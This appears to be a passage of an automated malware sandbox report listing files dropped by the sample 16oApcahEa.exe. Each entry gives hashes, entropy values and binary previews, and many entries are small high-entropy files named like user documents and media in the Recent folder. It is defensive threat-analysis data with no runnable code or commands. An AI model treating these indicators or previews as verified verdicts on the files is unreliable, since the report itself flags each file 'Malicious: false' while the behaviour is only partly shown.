Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976674679327766
Encrypted:	false
SSDEEP:	192:tym6w8j51f8Bn+n6eK3/QSu9+qvglbtP20E4IM3BPl:UTw8jPjUvm9+qvk5Po4IM3ll
MD5:	37024652092B462513C62D220F71552A
SHA1:	D8747F024CC497D6CD8085B30B9EC8A6C40FCFA8
SHA-256:	E4F940750ECFBE78FF869B389144A93E63A939EE151C22B1A2139FBBC8DA45BA
SHA-512:	5040A5F895D417B874E9F392DE8AC0A5C4B451286E454F2A1BE196E9BCD66C9336E95C422A775092FD4D34F993EC4D181DBF6C75966F32F831B1759D0EBEA526
Malicious:	false
Preview:	regf......9.:Hwj.o.<K.-Xs..v.....AG.{\z..{Vx.n........w.xPa.i.~(..r..L.....L..e..3.......G)0K..ZI..)...Rr....../...f]/.N1.4........n .{.8..0..,F..A.&%.A.OC..g'E......<.'..\|#..K...u..p/!W......q.].....{.3\|.Y..3U.\|.4..M...x.4.....#.3....L[..qs#.5...S.6.e.0.A.....3.o.....w.a....E.Y...'.'K.G.!E..f......}\..,..S1l../U.v.j...t..,.i.Hdom....FY.=2.UD.7.......O...rIz.\I"..T.....'.\|.^..S...".X F+8..]....;401....(...][.C......m..^~i..X.qc."sx..1UcyPZ.:....].}9.4..L.M.N....<.$..k3Y}...@.LR....6.d.[..a.`>".l.@M.RO..f..c..l.7r..T.....C...4.c;.Yk@^..m..m..?.\|.......X...dS........GX77.R.!`.Q....y...=)D..i..!...).pIX.=.z/..S..F .....&.?0....i..5.<Z..G.9..../.........T.........\..d..'.. .....Z.......BOk..I..u6._.\|...._.n...%.....z...TUa..Z.0.....]..r.Z.FY.h..k..2q.)F\.<&.. .n.C.h.....3....b..\.3:;H2.48C}\|T.k~.H.8.5.(;......%.j...].d/.[?...<.<.<H,3..c=..-..h.......G....%.....b.JH...M...ma.&/c.V.mI.H..nWt.#=`........ C=..M"l..).{.l.]....>+'......K......

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204934156779677
Encrypted:	false
SSDEEP:	49152:7NmWv38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKO4:7YoF1qd/LKN4
MD5:	65645B66E3936D130871DCA8AFDE6538
SHA1:	70138ECD7B0BD82E1A5196B1E43FDC6FE0160029
SHA-256:	922DCF0ECC4E4B968267A65B3396A435F93D1B79C576D6806A80C869D42B1562
SHA-512:	94A45B5C2C102857CF7D79E54A28389CD346F5519A6FBA41831AD9B83C10269DDE83D3F03593AA7AA124E3BA1F957CA22A751B1734747FF7CE653386D373882D
Malicious:	false
Preview:	Micro.b........5o.W+..nj.?..1.h......K'y.A.{WIi.j....?..F.....l..K......V._.&....}4.5.>x-~!GtIS...E.s.M0.?k";.q....F.o..J...h..._....J...,~......e;........P;.E>O.6.........#..`..L.t.;.J?9]L.......F..[!C.1..S5....,..J'$...{.......`..r.<V.......U...J.../J..`1.H.#.3.Lb&..^...'FB...,.w]......Y..3..IC...<>>c.8hD~!..@.>P(<....D....#P..8.lM..v.O.rT...uj.....{..S...e.?S..m...c.......R..&.gO.._..q...y.Q..r...wCl.....y<<y.W......>.......B.....G...g{I..T\|z...2..- .P<.......2..(^E...m..n......(..}....X.,...{<&~j.....g..~..E.y....c@..@..6.p...u..=^".."OI.~8Ai...x..%...P..n!rn...]^....._A_...o.....Xi^eG....[....u5;.u..38.1".v........E'.'.N.=`.q..#&{u..f......'...,..=..k..I.pu..+..../H.y..'_..J....c_.N\t......-...K..u.*..z.9..(B....^...8>....4lTl..w%S....pF2..k...aD\|......q'.^?..{..$Nhb/..I....7(.N.j./.f.F b..m.$.H......Q.j(....%....93n.O0..lP.....{..1.....L....aG......O...8....N..k..R.......[sH-!.w18...9^n\t91...t.Y..8.S.3..Lj\J.0.......; .:aa.f.

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205038779274866
Encrypted:	false
SSDEEP:	49152:RcA38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOG:RcmF1qd/LKNG
MD5:	E8767AA4700F1E6D0C4C26D5139EA396
SHA1:	44762AC7683D44257D3FBF73BD4C33CFBFD0C2EA
SHA-256:	453BFCBBB9BB3F3E3ED19A469806B8584C4FD160F8ED3786D278F3B2A1288B57
SHA-512:	AF57BD91BB0C3D7E85E61161F08EE4737977E70BBDBA92A157F8E069D6D3E7B62CC0EC2F482A1E5D7346B4C55828FDEAEBEC5D6E5E91909E1EDB6DE18984315A
Malicious:	false
Preview:	Micro..e..H7..#<3..,...V..J..Vtv.J.C..Xj.....+...p.(&._...nK.....d..gY.W.......Z:..gihT..W....l]@.kE.=.. M8.[_......`6.].2X.;......z=.5.... 8....>u.e..J..{..:.M...a..y..<..1.$.e.2....'.nwf}T..m....^.U..8....$eIWi.. .<?XN.....K....\..y(<..j>.N.....q!..)%N..`.CK\..V..).!.u&..2.....3.t.p.=...L..%...v\ku...'Sp..&n^.K...Ni.FR2Ezw........+{ki....@$.o.b.m.0.!b8..c..I`...$..x...V. ./.&.....+V....7S.Y..'e.. ...F);.S!.p...C..~..1..4e.X.3$.@.......Q......wo.....>N.0;..]#>..r...>Gt...%..Ft.....k.G..\......\|..k\|.#...LA?....\r.E......D..uJ.M....w.....%]..b...K....{...:.'.XS..........F?s.4O;.......h........Lpt.`...F.G.rZJ@.~>#.L..LIY..,.oy7r....sj)..0.eW...AQ..:..0-...Ga.}E......b...Z..h...m0G\6..;....<[.x..W..JB.x....~.......).::...8p.&...uW...&...........4....y.M2dEo.v<..+A...;3..T._.W...\|.Mf=.k..."..<.Z.y.O<......c/.A......X.....I..$@.V. ..G.h.?..03.......6<.B`..v..I.1..UW.j...1....y.\..P.P....>Q..0..R.U..&.r.GF...9.o.d...k.,......>..,....L.>>.....

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.663048827503958
Encrypted:	false
SSDEEP:	12288:7SCv1U6eomrdEhJQ4aKVmaS4aMz8Pg3lxJo2cvXtK:7SCtU6eVaBaKVzaYcAqtK
MD5:	4C62A06AFDF9E141260FFB4DB2EABC68
SHA1:	B2488E84420BF2E5BA99AB3242953B8385CF3CBC
SHA-256:	D8093512747CB2D23B20C8294D11239D1BC42B9D11EEF906BCD325BA5BB7342C
SHA-512:	632F59C6947A3E0FC317044F8C08BE186A323376183F7612F965618F756EC93E8909B7E0B8FA6B78507141351D9A0CB6E4F054B343509090F0C271BC7560552A
Malicious:	false
Preview:	Micro....._...\|...D..he.T^L.BvtS....J...(._.......b.....z.U. Y..q.s.SV..W_u..:...... ....t..}J.... .Po.;....(.9R....1.Af..\|..a.ID....9b,k...?....0R..=........5.9S...f...Ei...........^...s.r..W...1.l........c.........h9...(..D'.<.a.3..Y......%...7.]...t.\....+..4.T......{.T.....twYh....~Bg.m.N.N'.nBs...j3:.p.......[...qcYQ.L...;.i..p+...=....:t.uQ..^..2.G.........;....B..XA.....o7.rZ'r.y1.r.p..3pI9(......ZN...D.W....].......R..E..`.zEVC...j..7.ur..J.}!........J.....k..--e..OG`5...P.....K.....o.F...a..4.C.n...f.ThNg...]\U.........x&..\|.3<.>...a........B.P...%.5..\....J..1!...8...D.ne...}.7k.0.8.1I...72.[..B....[{...>.4...A.%..0....@S.kd.S..bw.F.B:W..}.-.:...6.l.C&k.&......5...w..k..e0W...,.R\|_.$mx..4..z..=.)K...s...E.n.=..k............j.O..O..>....C.KS.i..n..#.....^...v..y\|...Z.U.67.G^.c._t..K+..q,Do.W.w.= ...~....S..O.........c..P.X.*58b..\|.....oN`kgD.#Q.P..m,...#..Y.$.E...o..-...x.du.h./k...(VF...z%...z..BX..w.$....S.Z

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.66282861820801
Encrypted:	false
SSDEEP:	12288:v+QkC7PBD5c2IJQ4aKVmaS4aMz8Pg3lxJo2cvXtp:v++PPIBaKVzaYcAqtp
MD5:	D03B139FA465C2CF4FABFAF37A180EE0
SHA1:	47FCF60662C561F92C1FA99D3E3A65C3E5F0D443
SHA-256:	E9B8169080A8E939CF07CF9AEBE01377F4CF5DCD2E7D31E915E4D4F3A6FA4526
SHA-512:	5D81740B4CE41B6D084E5974E6DD4251C4A7B17759915FC20478073B89BFE19E24DD84DF2E7D129565BDA9E6A86670BE89593DDD6EA9688C73CE51EB1F492AAE
Malicious:	false
Preview:	MicromHR.......vi...D"....b.../..3..m..).}...x....e...c..l.7$.}...$).U.....G....!X..o..0.....Z.-....n......~.S.z`.Nn..z.4.M.........}3.M.C`9..Hz.>...b..A^y.G.0..Jk.j:d.9....K`L8.z..[m..#./Q.Y...t...o.F.B....P.H?...J]s.....Y.7.6k..s..Vd...w..?.Vf;j.......T.{z.....h..[.......)..........\|...Xu..-7La.1_..f.w...!.~c..A.a...E.....>.ys... J$X......Y.=.....A......~.=+..>..O..;.5.[.p...b[....P.;..v=#.'.]...&.q.85..-.`.d.6....'..$..^3U..b.hF....\O..z. J.`......H....V..Z......./...2..lp....~..q.......\|..Lu..}..7`......_.e..i..z......"/.]x./.-S.].D....H..m....bW>.u.%..d.=....H..........+....yk[\.t2.....@....vr....6..$....I..>.9.!W.....h.b......m"...H<.].#..Ax...].D.\o?s.b[rs..F..de.0.yA.l ..1#vk..)q..{r..6/....&S.w....T@......Si.u..K.5..B7/.PU........&....."..G..J........._.0...#.AD.W..i...jG..ul....0Yi..,.....{.D..%-.R....Y..IP.%.......r.,b.................m....x.I..p.u".6:..8...I....!.08}EC.......C....,)..U...T.b]..f@.9..2..E.8d

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JUSNIGKAJT.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862588430592127
Encrypted:	false
SSDEEP:	24:O2kGZ+u0K3PVWYbOSGJONx5YwU4+h5Zdvk680sOiDa9aifT+H8M9pbD:NkGZ+u0K/Iuf5YwwHZp80sOiDa9dCHth
MD5:	06AEF515BE41CD65646E977A8AE6287D
SHA1:	5BD05700AB9028D9D18304438F7008A692415D7B
SHA-256:	B2A2CEE62CFC38ABA46FB9B360FFC698B85014DB840C5C1825C290F104846B91
SHA-512:	7937E0F812C8B89AB10E03075FEF3CBEB6B3A7DD5A917CCEAF962BF9747E9FB2CEAC4DBF60F3207613F3C5E099F28D2073F3FAB897CD401C66323F79455228C5
Malicious:	false
Preview:	JUSNI.Th.8i..>.T+9.@..g.R..\.".:.)(T..I..S.AwP.6S....SI~.:f.....#m.y.d....b. si..mo.V~..:O..(rv...u.%U.!.......M..g.K.~.-$.0h......Z._.#l.....T....."...(R...z..u.1So.....;.O../...D..,....!..9.-...S...sr.x.=...dH.7.o,...`.[.RN.Il{...".$i......M.2..?7.$)f....J..\|...Wb.B4.yZv&w.......lH...8.(a6.H..c$.n....I;#...N.vkR..YP.P&H]............ f.........)._(..Y.........;-.:..9z.j...0..5..X.t#.>..!.u..rM....Ik.G...n..j.8...q..L...*k....P......=..}M\|]...._U=......c.w..2W.sK...@Ci....@..A...:..Z.....`....,i.<7aW.j~..._.,-....."........FkT.....H@=..J..s`)`.. .8....N..p.{Vy..e.....A]<...7E...{.6:.{;g...l.!...".r'}.#..)E.f..t..]....pG.gAx;u!...#.T tk.mc.hJ...+..Q..=.gi.0.z.....u..f....4..DN.b...'! ....v..nF.J..;..LA.0.G.........U..5={..#.Bj...}.$b.?.R;.}....9.=A.^.c..h..\..X...<..G..&....OP........a..t.I....<..d.fa.n.....e0,..7......a9.4..........Wu^m.../..0}....."..Z_..EG.h.x...05.4.r./K..k.].{..........X7..7n..R..w...w.Y..\f2.... q.`D..{.....,.$

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.jpg

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843313142299472
Encrypted:	false
SSDEEP:	24:bHmGS0XYCopbgqDS+QuovXKVgoEcG2kXF5avHICeMtza2tKD0cePuZ7fMjn5s7VX:reRQu2XKVgR2MlCekz2g3PS7fM9QJD
MD5:	4FD8C4556547E374B323C889851DF068
SHA1:	C43F68654CA6A7CC33621DD8CDFBBA374FEA02AC
SHA-256:	40C38E70F27EF3F86C023B06DE201A7689ECF49733CD95371DE127D87DCADDAE
SHA-512:	A8A54CB0833BCC83E798BFBAB346099AE18C4F774E92546FD39CBC0FAE8C26F18F4D1C33DAD0CA8EE67C6FFE7F364FD4837CB42C738BB021A8A7972C7E2B3A00
Malicious:	false
Preview:	KLIZU....W.G.....:..g.2.d.Hj....R.......G_..\|...R}.......`..E3B.\Q..o.{..4.4./?ry&.HV.P-f0J.G......YZ...&.$.96R.>ee!...oj...~:?u.9b....Zz...>...J......I.&...v.o.sf...W....L.D))..P%.FY...-r.%.$.`Ic..qg.l...#...#_-.......5...>..8.i.qEY.aG70(..&.H.:.....\|..&...]s}.....Nb1.2.4....[..=!..t..A....>\|..aKL.v1m..Ym.O..R6Sz.c...C.'......RL.!...~6.E\|/`.m.(.U~F.c.\|.F... ..uq..A.a..4D....C.7..u.".Y'P..S.^.]..#n..[......thL.R.\'.#k..B.T0r...jJA..-...T............\|V..w......zcU....z....&qJg...]h..N'@GX.....e'i4q.&,......@..~......P.H.B.........!.h.3.:C.be..(}......c..... ...7..Q..r#8...;...c]...t...-..^.%E..V........= 4.N%......+= ......Yp~...i...@....'..zQ....^.%..&..H.A..A.8....A...i...'.m$p... <.t....x....7...H..~P.i\|_ZQ(FE.a.$.\H]...vN._..d.=.u....T..!;H....\|...)....i.4.&.V3...I.....Nu..0.k.p#.>...b.g\..........b.....8.#..s.K}.>.Hld"..E...^Bh.I.q,.jn..2,.y..p./[.h.....b.h...h..Gc..=Y;:.m...A..Y.g.!..._{..1Cp.o'}x7=i...I.....3..M(h.t).X.\|8.g.u...R.u

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.mp3

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859621368704192
Encrypted:	false
SSDEEP:	24:bvBiWNLglRs2HlhRsTTJg3Cgan71PC1mx6RyhnRJId5EINRmTslBaxvsFsvg/59h:zcWwqgSPB6e6oYdC2cTGaxvT47JD
MD5:	8C1245B49B1BDA8793E50610475D2853
SHA1:	B9D3B5BD7430E557D85752BE72B021B6D0796DD8
SHA-256:	B637D240ADD70DB806E490F57124FB973FEF4392F73AEDBC0096EEC933E5D0C7
SHA-512:	C13212806FFE469B427C30530D064EDB931033A765C672419B23B0A8B280C8C78BA354EC565C75A4A464B715B4E31E46EA85365A52C552D23DF294B3B73A418B
Malicious:	false
Preview:	KLIZU..R...D...u...q....{.N..0KvS\|S\..ajC^...1.R>...I9{g$.P......5.S..)...$b..W}\|..p........w....V<......VdX..<....F.Y...D....~... .J....A.H l....$..3..).5P76..F,U.........T`....77....#)...b.........W..Z..+..H.)... gQ....t..."..5...8W....].\|PB-...cX.>..b.w..n.D.=..@ a...y.q.....FMi..+..C..H.w...NW.i.57.-...b{\.t..N...a.6&....YA.\O.%".0l.'q.^U.AZ.E.T....F.!}.).3..R.(.....y.M....]>.j.........U..m.....".:.=..Ts.K...w.."\|.+j5....{..x...?.....]. HL...J..........'T!..{V]2..l.M.-e=.......E.n.U9p./6_....d`...&q.3.bW..}.vK.s.....n......./..a2I<...EZ.=v.._..Y.....a.L....._...O.....:@lg../...s.{..b..bn...m..>.......c...Cuq...F...5o.N.....3N,.....#X ./.z.}..r..,.SLa....k..3.O.J4..iJ`...r..a.L...F}...#`...W'..$1.j.....:Xgo....f.....4....'.Y^.......&It..q...)D...}....R..@.A....4.`.a...\|..P<...c.Kp5..PK.i...b.{TF..>^....,]....M.y.Z_.w..p.u4X..f.$7.b.O..V.W.4....^...E.~..\7....4...Xfn..Q.w(8....5 TX...4+(.g....a...S...{.g._..v......c..S.gm.Tnv...J.`y. ..<u.N..c

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LCMFMMJDAC.pdf

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847106526351327
Encrypted:	false
SSDEEP:	24:NNNGYeX8Bndhm+lnTpWlDaXHksSeNHZDV7OXP2gAsC7e8b+VlfC8M9pbD:hGCdhmUsxerV7OXPwdeU+VlfOJD
MD5:	C11092FDF5485E7A34ABE1AC79C4A376
SHA1:	D891EE44121CAB9B6153FBE65380610088FBA51C
SHA-256:	DF00CAA7B6DA55B6D8C2EACD8CE07D27E8B17C346D5D94402E92EF320E6B903F
SHA-512:	5533DD7B1BCDBF38098AE33CE817242C4B6BCC7CE055BC26EBB3E802EDF937BBA274AFA591480CD8035D50DE1BDB3C7ED8BEE9E3A8AB6D28E693DBBFE8DD14CC
Malicious:	false
Preview:	LCMFM.f(..J.T..Bh_...b..#.N..:~.:.c...~m.h.c....~R.%.@..DZ..zl.".!~.C.H.)}....Q.FM.q.s....,.{...T..px.....t....I...y.......[.c......]....y.H~l..&x.m....z&..V......n....I.m.....F.Ve..xE........R......!..x.9....]M.....3.......a<u..i E...b`~...?..Kk\.&}.G-.N]F.o.O.M.J.!LH.5..+.....toh..e..$".QF..Y...4!.I(F..-..z.Ae`.....#\|....m...f.HB-.LR...e....qX..7....O...I.'...2gL..W.....>.2B:J...K.k.>.Ib..-h.e..r.H..z....L,DR$z<.......Z...u...}h5..8......e.....)m..6..O..bH74.7...........G..&...zH....,_/.Z@.T9....}..'B....^... ...../..#....M..j.yvs~rx;$5h.........TP.sM#....\^...I^...#M.fk=..q7.gyz.s7.j.P....:.!...F.,G..681.2....0./..W.......q.o....w.n..!......g...3:.^.r....y.Q......CY..../...mfYM...~.....}hD..q:...+.'Jai[.+.?.6._.A_v.O9`.C.Z.)...%..?......A...].Z.)%..1..$..C..HZ....$.X.'-T..^.".t....+..d..j.g..J.kJYY..b....6.....8.B..p.......u.\|...!....R.+.{.X~.>...s/..A...;..2I$..{$.......fI>.R..Q.7.G..{..4ZV.R..5>j.{E...(.........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MDCSJYRUNJ.mp3

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859977302020595
Encrypted:	false
SSDEEP:	24:y/AxszL/FVqYHs/RipgJqOyLEn8zvdIZ4CCYtwHmX9eYfpbujVaug9pbD:UasLNAK8iGkdLbzvcDL6QZJD
MD5:	06D444E4CF62A56CF5C0384AA62329F5
SHA1:	AE2250F86C45612C30DE28CF560CF2404D14AA7D
SHA-256:	08F1E3D05F77BF9818586DBBE38F23761C627E583BA1CDC269DD414CC840F598
SHA-512:	B276C4BE5F6C19B76EA372D54111B60B383E5843C514A3117D6912DE1EA0215B051ADC8DFC81983407DBBED1840A61909CA24CDCAE81BFD5AC6782F738D99FCE
Malicious:	false
Preview:	MDCSJ.h...jY..n...".T....B..DK2N,.........ku...[......6f.t<....C.6{.U..T...Kj..>.%H.\|C.v........xl.KZ.k+do.q.ut...=.....?................"`...rF.G..+{.C._{......^f.....yH.&..9.....:L...9N..,.}..z..y....k.^....6...0{nb....d$..W.j..?.....$>...&.P.6.aA..l..x.bl.........G?...z....y....#.Q..(v4......j".}..f...24....=.-......K... ..."..ta. ..\X.9..3.[...<...h.G......R!..+v......GD".....^.}-&.....h.'..e...<..x.#x..l..T.TNA...x...._.k.eG...).p....4.1.?b...{u.@E....dB..a..P..q.-.o.p.E3....~9..4.m....VPvQJ-K$\V.%.H.{.F\|.vhd...I..M..j..;.z...;F.H..A..fL.0...iE.....#'.....~.....V.t.QN...p!++...C...(.W...S.b.t..o.>F.m..o......Y.A_U...O..}\.....,.<....@..V.4...B..l.h..p9.f..W/domC..X...=.@7.q.....WR@...YJp?I}2vM....~y......[.39~...\.4.:.A.B."(...dP........EN....u..o....e.`.>.d..fp......Qj J.'.$.O..6......].+..P.D.W.._.a..B.C.....JR...z..oN.FG0.o.-.5..3.....sM0w.^..-.G.v........)....&\........."=..Z.qh....~.9r...#*Y9....O%...$..g..$...{..m...\..g._..._..N.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831584263310307
Encrypted:	false
SSDEEP:	24:FGDxJXQ/Vg5OJZoqP63DxGBfvEjEjDtf3NGti/VmcU/LqxIGcmE7kcVvsa5wCrmK:FG9VQ/qYDP63Vuf849vNIulVgsa+smYh
MD5:	0112AB9AD3DD7F6AED42BD093078E0DA
SHA1:	AD59B1D98A0C59E1D4B4E8B30F4F5C71000ECC6A
SHA-256:	FF94CC86CC0218DFCED9544FA27ADD9593551A228139E3C112E92CCCD8CCE2BD
SHA-512:	1D306E1133D93E9E61DAD5B9B0F1AB2D8D4157158CD2A769E93E7E158B7DD86E63A9B3F66E68FD1660E7A211F5B092D935B79593DFDC0D3D4775468A429A7E2B
Malicious:	false
Preview:	NVWZA..?......E....$.Vy_99{.M.w.._.j..a.>~..8s.......g....h........G.<!.m..=..d....j....r.-.......!......@....7E......P=...ds8.r.....8R8..Nj...IK...........&...H.I.q].....h..vB3g s.v.....d..8mg}.#..`X3.\=.j..=..iA.....:"L?Q`.\....7\|..n.+ce...w..Tez....$....%.n..n}....-..D....T..V........r..`R........jVQ.,...).......P.^!.;^l.....2=....%oJ.....B..].....0..N."........J.&E ..>H....v70..M<,..k...`$.H...@..w..g).a.8..n...N}.......\4Xs.S.....}&..@.V.@M... g..\s.\Qm....O..T....u0. ..o....O..-P...^.IU..=..\|..<.v.I....l..s.W...<.U..."......(..&.?..Ra......Z.`...D=M........Q......~.=.P...>.~..>..oy..;v.B.....O...s>...r..~.....R...I...M....^.......(16(.K....0_6M:...j.1..d....V..."'....T&..l...6aW..{.4..g.^.T%..e7.........7...A:d..T.k..juD......-..I...G...7pn...5=.."\*O>...D..u...F#Y1..(P.:.y.H..J7...Q.TwQR..rk)..L_L.%Sb8;.W.P.n..lZsj.6-a.E....\..4...8...,.?.. ..:;.V..l](L..B..>..tG...A.,D.......i.\|%....U..\...aA..!x....\x.{.......M[.w.W..=-.......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.docx

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845388206146122
Encrypted:	false
SSDEEP:	24:ZRqPYkEg3si4zmqfO3yn7GxYfWGkYnRxVy0yCSpxP3FViseI7eE9pbD:ZcPYkf4Qyn7AYvBxIzTe9aJD
MD5:	86AA4B2FC5B701A57FA6275CCB1A72D1
SHA1:	9902EE92F4A93722227A77253B2D5C8CC6840563
SHA-256:	FBD456A5C7C2863A9EA3E358116822484D5EF5CE42DCE1EBA864A75B63DCEDFA
SHA-512:	39AF209F7D4C702D08E85C28B23A616B573CD814E9600BAA0F216C7D260566CC2986C6D996D930598D3C2F118D69AE50D896F0E4B401DBD87D35A06496AAB0DB
Malicious:	false
Preview:	NWCXB....K591.._3k1.&....[.j........!...+...M........`ve....Dd$...n..#.~k..O..Z..3O.M..9....-8.MD............W..1..q...f.vk.0).i.....V.w)u..=;..?.....%i.....9..' _..SF..}K.b.ex......W.X?...d<.i.._..... ......3..........u4...J...Z......)..rHL,8...:.'.e.E..1"p..i..u..Wq..:.....#`.p...5.W....O..%Q.r".k...B.b...>LJ.w#0.....ktC.K..}.'...,...7.M.>...t....0.......7..n...?&43..3Q.v.i.ZA(..aY...]mV.=..n....!E..&...Um.TC......L..+..J.^._7Mp.;..2.)Rr'.....K.'T.89.;..v.1..5v6...m.....T..?.G..g...C.c..xJe..D......P.4d....B......V].e.1...U..8~..\|..518...~...T..e%3...~.}......,#[M........L..@...t...$..j~.i{..q...);..wn'P.....y.Q./U@5...s....-.<VS.Q.\|....L..T6.r^.!...S.k.0..@......p.t.Y......t.C.:.....+....v.7M.3s.;.W.yw..-z.1.\|....2...>_.@..>.Te/8..?....4.....".}............"..bH..........\Z..(W......,B............,..d:.A.....\|Vq.^......U.3B.4.......N.......5...+_j...RX.i+t..ux.mV\..v...Q.....1..@`.D..iO...:..S..y..G....s....c..?............%.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.mp3

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848477013397339
Encrypted:	false
SSDEEP:	24:F3Su4X9VdXlTfLsEgglVdOm3P+N+72PT7n1j26QUrXXWlrvMq9HYC6T9pbD:NSxX9HXOvgImWN+q7n1j26QCnTZJD
MD5:	04B7AF3F754BD83EB737B61ABC6CFEAF
SHA1:	C731400360C347E0AA5677C76098F1A67E02D88F
SHA-256:	425A8F7D46085580524A5D5DF08C7FD135AFE80FA7F75774461F872E0F469E54
SHA-512:	3F8AC06D16E46145F5AB478F010DE23312004F4CE421D3C72195AEBAF3B167B42A6B4444CD70B0062B39A2D8E14CEB3B450E7C8DB7CCF0742A5406992ED45D71
Malicious:	false
Preview:	NWCXB..vW.Z........Qcn.....2.l...b....]iu.0...R..i\|.i.......Xj...a..a.....c.N.....G2F....5..._. {.M.........c@.W.)i.S......t.3....#..\|..G.T...w.\|.....P";....cZm3].......9.....^.@.K....%..V,O./...C......Ai..n=.X.]...Dw..G}...^)..."ST:l...a.:......KiGr.l..UA.:....q..A..{...j.6......l.....z._.........i.~.k......\|B..../.=........O/n.......{"..x0.?..O....#?..#..l6.....Q.2..X.D4...V...4.__.....C....2.p.9.8......;.?.'[...%.._........]}...R..+W...f.>...W..\S.`,=\...I.`+.u........,...%..w_....m.t9j.]..4...=.)U.g..<K.3.. &U.a...Et.F....7B..z.5e..9H....9Y...'.B.. ../y1..@...wE..%...z......zK.r.P%...M .O.:x....r...X..UFs.C.V+p..M$.i.=.#.C.%3?>..L.k.......Xd..B..s..9.....Kt...8;k....>..e;s]..j.......<..]....P....C......+.W.J.V..:.Y+.@&y..1.m#0&{.le..qqN...}.]Jg.H.j4..#... .[H+...H.$F..T]Z.#.4D.?.O.~3M4DE.....^...^..#.W.c4y}.....L..S.x....2.{.....8...C^.q.=dc...G..E..0@../..K.....s.z....p...#.;.~....S..;4.....6..(>......B..Y.2.[[.`......?...QGL...%

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.xlsx

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857006869732149
Encrypted:	false
SSDEEP:	24:EyjQDjYCf20kwNb7+C21553mjuIaj9Vz7d/Zu65ns2u5TmwVAVlP2iQM8p1bQqvX:DQDMiL+C2Yjzaj9VJ0J2u5NuXgjMqFJD
MD5:	2B089281966819856B82A12A70F4B845
SHA1:	CC89E484D4609BE2F3C5A8D0688DDA9E91B15E84
SHA-256:	FEA69268B6CA012F10AF4D3AF27430DD5EA684AEF822FC7EA8AD73FC91EDA862
SHA-512:	AEB2A9E25D9D28DF562D995BCD3F7EACB3EDF63A799FF98C92215B2E75DCC5C462D358017C9E2AD43AF35C41C4E43119F9EBAAD386E2207D0CE013A876A512ED
Malicious:	false
Preview:	NWCXBG...z....Bh..K/..T..(..(..:.^.(...:s<.Q..VX....@N!.)2.Np.X.].U<\|.......T..IR9...r+X...z...Ds4.g....w...!....;...Rb....p.)..M..pT..9.De...O.f@%..;.e.U,r.Y.)z.R...\.....u..0.q..L9.ZB..&.y.0uL.!.M/...f.-..bq.)@.\.L...p....i...)..:s..3..1...N..-.....-+.A.x..\.i....P.M.1K.#..z....Zt.-Y.X.A..J.......Oq......9.....8.D#....H....x.^YH..\.g6.KN..CP......p.......?..~.B.J......2...\......u...U.l..{_+.;~.PZ.`.]6.".h....#~....,.U.l.d.......X.7..A8KA{. ..........Y>.Xe>..Qis.>.U..W.xlSu.uy...+..-.#!r...R\.....f.8;........?k`.Yb.&34...._.;.9...-/.z........g.*...{....(.....ng...<....+...:..SX.:...a....=}.Q8`.."..E..a....8l....{..n.u.1..D...^.....b..\|...j!...1......Q...+M..w....<......T..@.)PL.6mS\wX...I...e......D..)W..A..W..DA....K.k..sS..2..k....e..2.5S^...#.J..'..u....5..a\....xb.T.0....O.N.#.....Y..qU..ws.N....MTa.B..Y.U..........([..{......[._...Z]..(i..k..$t7...i...!...vB.i+S.ru...........IX..^.T.,......<..CS..k...b.z.:.%...]9u...j..T..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OVWVVIANZH.png

Download File

